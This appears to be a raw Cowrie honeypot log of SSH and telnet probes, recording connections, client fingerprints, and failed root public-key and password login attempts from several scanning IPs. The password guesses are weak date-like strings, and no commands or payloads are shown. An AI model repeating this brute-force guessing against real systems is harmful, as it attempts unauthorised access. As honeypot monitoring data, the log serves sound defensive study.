{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:f7:6e:75:0e:7d:d5:0f:07:19:2c:04:3b:41:d6:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeHKlENTGVLpJdhQLstJ6juBbMZRiSmGvpdCoy8cqbYliRS/5FBO8Pi9lxdAe7BCF8c2d4VX/OQ6p0R6wv7wiawOhvKyDLH/1Lqe1G9g9/DC8rGfEuBDLm4tPEXqM2AEYR9RPDi9bC1ckmnzq9WrLpBfuMD1y+WSkHweemzbDpR/ZY+vHbzXFD4YJev27R2WKvPTLKV4PqgaQiQzGre5zkHZ6bj3a4dOXKy+xEJaRKCgZRSYV8Fj7HpkHTvmOGb13Esd8gMMf9mKmujj1JAba0NMkq9XMipKB2Ozx6VUUD5nw4kPd3UtoeHHBO7wlWoUWkA8ut3hJKlT8o1A2XQgLb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.144276Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.158831Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":46790,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c6c65b5ba97","protocol":"telnet","message":"New connection: 199.103.57.63:46790 (159.203.135.109:23) [session: 9c6c65b5ba97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:48:57.505532Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":44480,"dst_ip":"10.17.0.5","dst_port":22,"session":"020515f8b23b","protocol":"ssh","message":"New connection: 45.148.146.52:44480 (10.17.0.5:22) [session: 020515f8b23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:00.668233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:00.673585Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:00.760978Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:08:09:c8:d8:ac:38:f0:9e:6e:e1:7d:18:4f:37:7a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIIx/7BbDNpkQq0EEb7f/84/Z4a8QheA9kQKfBd921b","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b3:08:09:c8:d8:ac:38:f0:9e:6e:e1:7d:18:4f:37:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.173168Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:08:09:c8:d8:ac:38:f0:9e:6e:e1:7d:18:4f:37:7a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIIx/7BbDNpkQq0EEb7f/84/Z4a8QheA9kQKfBd921b","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.176248Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:17:eb:84:10:e0:3a:b3:ce:b5:1e:79:30:a4:54:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqme6ns75d0te8tJEcH7tdEo0nhN9IakA/MljYG3tk7trTvWHPzr8QDyHvoK/FeYxRLs7nHtEaD6mbw7yiUIDvxj+E6eEhDVEYS1DUdBBrnoW3RgKDpvoeVVEtskyEdjumLS7j1s8A3qOD/a75PmoCskPBiFT8oVTRG5YcbKzYQwNYV00GGeY+HIosxiTlavtbVTVPO2OISgmutVHOvS+mlJtIqJsqcrOOOHL44FBK7M16ajBcN1UQNLw6yMpmV5dDDjuQP9oCVwIC0hzRest5sd4KhayaPqGjK8SIpJFCZHoYD1TJHWq8NY+wPkF7DqZX7MOtrbpJ1JFyt5yrYUsww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:17:eb:84:10:e0:3a:b3:ce:b5:1e:79:30:a4:54:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.263427Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:17:eb:84:10:e0:3a:b3:ce:b5:1e:79:30:a4:54:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqme6ns75d0te8tJEcH7tdEo0nhN9IakA/MljYG3tk7trTvWHPzr8QDyHvoK/FeYxRLs7nHtEaD6mbw7yiUIDvxj+E6eEhDVEYS1DUdBBrnoW3RgKDpvoeVVEtskyEdjumLS7j1s8A3qOD/a75PmoCskPBiFT8oVTRG5YcbKzYQwNYV00GGeY+HIosxiTlavtbVTVPO2OISgmutVHOvS+mlJtIqJsqcrOOOHL44FBK7M16ajBcN1UQNLw6yMpmV5dDDjuQP9oCVwIC0hzRest5sd4KhayaPqGjK8SIpJFCZHoYD1TJHWq8NY+wPkF7DqZX7MOtrbpJ1JFyt5yrYUsww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.267623Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:76:8c:20:d5:32:f8:0e:89:19:34:0a:dd:bb:78:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxrcnTIdsTOv0mexQ5vlAN/C7MjmenbQjk9HO5JduKtnyvnLdE/xaooO7U9x1ivIDgi1k05dmlHH0TOrSACjiaq49qJrE5rHGHcpRB4dWDURGdGNcLe/C0NFz8MSDN5emN2aRtHWV3TXI8nhV2nd4jqCpQ9cVX+/Vy37J49+X2ATGPwtILT+Jg4ibd+BqZUkOcTQ71i/vkQmZjcVt6UI8WP8AxVL+kXnPGrYcEIhGQ6aSa0ZtDnljXeM6/Eda9yCzOMDEhEyGhv5EPBVxj4Teyc5YmpxzjHiaTsHC7sm92nSz1agbh6AUrBwmDEG2K1YxJQLML83ZKvxcP+9JrZKzRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:76:8c:20:d5:32:f8:0e:89:19:34:0a:dd:bb:78:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.370194Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:76:8c:20:d5:32:f8:0e:89:19:34:0a:dd:bb:78:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxrcnTIdsTOv0mexQ5vlAN/C7MjmenbQjk9HO5JduKtnyvnLdE/xaooO7U9x1ivIDgi1k05dmlHH0TOrSACjiaq49qJrE5rHGHcpRB4dWDURGdGNcLe/C0NFz8MSDN5emN2aRtHWV3TXI8nhV2nd4jqCpQ9cVX+/Vy37J49+X2ATGPwtILT+Jg4ibd+BqZUkOcTQ71i/vkQmZjcVt6UI8WP8AxVL+kXnPGrYcEIhGQ6aSa0ZtDnljXeM6/Eda9yCzOMDEhEyGhv5EPBVxj4Teyc5YmpxzjHiaTsHC7sm92nSz1agbh6AUrBwmDEG2K1YxJQLML83ZKvxcP+9JrZKzRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.373768Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:af:c7:40:95:cf:24:4f:f4:35:1c:6b:87:f7:be:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1fcvN6g5iUytrVJOZGzxEW8hhVMXf3/neqth7baSnbBWX86Cld1Uo5RKGwfUHIhKy52Z07hOUawKThMXl6VOYwil6o0p2rqyvex7Hl5Ae1jZKYG4uupRR3tSKHlmqQxEECOA9qPU1CUyLI+f6GRxCrcFEoVwErJXddmelw7qBzoUYRGH0u7FsR2XoNH5A08So0ZS5lYlrUwVU3HE2J37gfg2wblmS9aCF28o+qb4a0e54k6SDTAJjd9ZjCeCzC2zD2O8JdTmStM5ZcPUr34NNEu602BBRSAzrVbfH1Ew97bgrtYbpxghivplXIFhWGGpqLacm1f6BnE5kNwIzV3cvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:af:c7:40:95:cf:24:4f:f4:35:1c:6b:87:f7:be:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.460418Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:af:c7:40:95:cf:24:4f:f4:35:1c:6b:87:f7:be:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1fcvN6g5iUytrVJOZGzxEW8hhVMXf3/neqth7baSnbBWX86Cld1Uo5RKGwfUHIhKy52Z07hOUawKThMXl6VOYwil6o0p2rqyvex7Hl5Ae1jZKYG4uupRR3tSKHlmqQxEECOA9qPU1CUyLI+f6GRxCrcFEoVwErJXddmelw7qBzoUYRGH0u7FsR2XoNH5A08So0ZS5lYlrUwVU3HE2J37gfg2wblmS9aCF28o+qb4a0e54k6SDTAJjd9ZjCeCzC2zD2O8JdTmStM5ZcPUr34NNEu602BBRSAzrVbfH1Ew97bgrtYbpxghivplXIFhWGGpqLacm1f6BnE5kNwIzV3cvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.464481Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:e6:83:88:1a:d0:2d:f4:5f:63:16:43:cd:f2:77:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMS/6b8TB2yRNbAlbh6fTIGPrzRVO+cI3LpUCgJUA1f2Mtkklf+oFri2ihdynb17fwgh6mibg7oRjZVSoW6oEXqc2DqpcA31Ilcmq1PCrtNf6W/8IwYGdpFFdx0wWwYDCerJryyWjcJ4wtYOFk5O8ncbEzRQLgZbgmdLT74DeywJxyM2yjfMfEQgaWtULm3eP4yIgXS+PezfQA9KG+zvm0NSXUF13G+USpTM/RLMoPSEHh+mY2PmdGCYMRsXna32fvmTvxXMy5c27mC70xdU3BhUlg0PgyCdHVDk+sE3yQ+NEKEjNWvI5PMNwQilDBUzaQQzvLmhY6utuutGzl2y5C2TMl3Cyevp+6BKrhyjYavuhmLqq/t12SiaPT8RT5ulHL8v8ON283d0BHEVUwr6JBq/41X/ZQVgp+zKQnmELsqDWlDMKIQrhM32/rSLqJFUE8+bnHcFJ4O/9aa6KQfQpi19E3ZV/XcB7XAEk3IlE+ZJx0LPnW16/ivtJOv3L9KEuEJe4W43IF1mDKO8JeDjQv/S1K85STBbrykpJhT+G4JIjm87XJWmJNOvIn4vfYLM5r5qC0FT3yIGN5e4l5ohTXe7LPOljL6UHI6Rg8JgC+gC9i35zP64sXUby+CeRxnffM9L3bQR3YrER+TTPPOSEzWhmLR9bqClbeuidFGqfNpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:e6:83:88:1a:d0:2d:f4:5f:63:16:43:cd:f2:77:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.553604Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:e6:83:88:1a:d0:2d:f4:5f:63:16:43:cd:f2:77:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMS/6b8TB2yRNbAlbh6fTIGPrzRVO+cI3LpUCgJUA1f2Mtkklf+oFri2ihdynb17fwgh6mibg7oRjZVSoW6oEXqc2DqpcA31Ilcmq1PCrtNf6W/8IwYGdpFFdx0wWwYDCerJryyWjcJ4wtYOFk5O8ncbEzRQLgZbgmdLT74DeywJxyM2yjfMfEQgaWtULm3eP4yIgXS+PezfQA9KG+zvm0NSXUF13G+USpTM/RLMoPSEHh+mY2PmdGCYMRsXna32fvmTvxXMy5c27mC70xdU3BhUlg0PgyCdHVDk+sE3yQ+NEKEjNWvI5PMNwQilDBUzaQQzvLmhY6utuutGzl2y5C2TMl3Cyevp+6BKrhyjYavuhmLqq/t12SiaPT8RT5ulHL8v8ON283d0BHEVUwr6JBq/41X/ZQVgp+zKQnmELsqDWlDMKIQrhM32/rSLqJFUE8+bnHcFJ4O/9aa6KQfQpi19E3ZV/XcB7XAEk3IlE+ZJx0LPnW16/ivtJOv3L9KEuEJe4W43IF1mDKO8JeDjQv/S1K85STBbrykpJhT+G4JIjm87XJWmJNOvIn4vfYLM5r5qC0FT3yIGN5e4l5ohTXe7LPOljL6UHI6Rg8JgC+gC9i35zP64sXUby+CeRxnffM9L3bQR3YrER+TTPPOSEzWhmLR9bqClbeuidFGqfNpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.557687Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:01.649031Z","src_ip":"45.148.146.52","session":"020515f8b23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.363778591156006,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:49:36.869092Z","src_ip":"199.103.57.63","session":"9c6c65b5ba97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24252,"dst_ip":"10.17.0.5","dst_port":22,"session":"f90c0412bf4b","protocol":"ssh","message":"New connection: 2.57.121.25:24252 (10.17.0.5:22) [session: f90c0412bf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:17.689988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:17.696992Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:17.799731Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1932","message":"login attempt [user/1932] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:18.294584Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1907","message":"login attempt [user/1907] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:19.399570Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19061979","message":"login attempt [user/19061979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:20.504673Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19051992","message":"login attempt [user/19051992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:21.608776Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19031979","message":"login attempt [user/19031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:22.712774Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:23.817907Z","src_ip":"2.57.121.25","session":"f90c0412bf4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":54994,"dst_ip":"159.203.135.109","dst_port":23,"session":"6716267827d0","protocol":"telnet","message":"New connection: 199.103.57.63:54994 (159.203.135.109:23) [session: 6716267827d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:50:33.742517Z"}
{"eventid":"cowrie.session.closed","duration":36.95033073425293,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:10.692720Z","src_ip":"199.103.57.63","session":"6716267827d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.91.141","src_port":51856,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5fe780a377","protocol":"ssh","message":"New connection: 198.38.91.141:51856 (10.17.0.5:22) [session: 6f5fe780a377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:11.566759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:11.571692Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:11.810854Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:1f:1d:13:91:ec:9f:ff:1f:94:82:d1:60:f1:2a:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFuqVNUzCYJmI6wJqYKiZiRId2qMFfnHp6qdkgcko5n/QTtWl/fDK/0BXESo5NyM9U0P76MGJ/TEGhixK49K8lwr4raq1SHzqvGsl1N+munso7EcL3JpsKfMYI9Povt6z4MS4U74zFC5SLoZTPhlO2cq/xNrCAteZCE+e5Zg3yrd4sYet9GKN8aJOgJ0xNlSjBbs7QytE336KUs9kJprcgK3pmhEewMPDpCLQNULeqWYJAVwydBPR+t2v7H2CKrH1iW1qSHrgQpRB5I7KY+3TslBcwdNsrjTOb6zzjqtelyDF5Tuptjf3CTJvnJ8txNvd22Ih6YI7jNFO/8buwniz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:1f:1d:13:91:ec:9f:ff:1f:94:82:d1:60:f1:2a:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:12.984235Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:1f:1d:13:91:ec:9f:ff:1f:94:82:d1:60:f1:2a:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFuqVNUzCYJmI6wJqYKiZiRId2qMFfnHp6qdkgcko5n/QTtWl/fDK/0BXESo5NyM9U0P76MGJ/TEGhixK49K8lwr4raq1SHzqvGsl1N+munso7EcL3JpsKfMYI9Povt6z4MS4U74zFC5SLoZTPhlO2cq/xNrCAteZCE+e5Zg3yrd4sYet9GKN8aJOgJ0xNlSjBbs7QytE336KUs9kJprcgK3pmhEewMPDpCLQNULeqWYJAVwydBPR+t2v7H2CKrH1iW1qSHrgQpRB5I7KY+3TslBcwdNsrjTOb6zzjqtelyDF5Tuptjf3CTJvnJ8txNvd22Ih6YI7jNFO/8buwniz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:12.987655Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
